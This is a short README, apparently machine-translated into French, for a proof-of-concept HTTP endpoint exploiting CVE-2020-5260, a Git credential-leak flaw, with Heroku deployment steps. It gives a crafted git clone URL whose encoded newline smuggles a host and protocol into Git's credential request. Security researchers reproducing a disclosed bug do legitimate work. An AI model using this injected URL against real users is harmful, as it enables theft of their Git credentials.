brompwnie/cve-2020-5260Un point de terminaison HTTP de PoC pour cve-2020-5260 qui peut être déployé sur Heroku
Un endpoint HTTP de preuve de concept (PoC) pour cve-2020-5260, déployable sur Heroku
Felix Wilhelm de Google Project Zero https://bugs.chromium.org/p/project-zero/issues/detail?id=2021
git clone 'https://YourHerokuAppNameAndNotMine.herokuapp.com?%0ahost=github.com%0aprotocol=ssh'
Cliquez sur ce bouton pour déployer automatiquement sur Heroku...
Ou suivez les étapes ci-dessous...
Oui, je comprends l'ironie de devoir exécuter des commandes Git clone pour installer ce PoC....
Si ce n'est pas déjà fait, connectez-vous à votre compte Heroku et suivez les instructions pour créer une nouvelle clé publique SSH.
$ heroku login
Utilisez Git pour cloner le code source de cve-2020-5260 sur votre machine locale.
$ mkdir cve-2020-5260
$ cd cve-2020-5260
$ git init
$ heroku apps:create cve-2020-5260
$ git clone https://github.com/brompwnie/cve-2020-5260
Apportez quelques modifications au code que vous venez de cloner et déployez-les sur Heroku avec Git.
$ git add .
$ git commit -am "make it better"
$ git push heroku master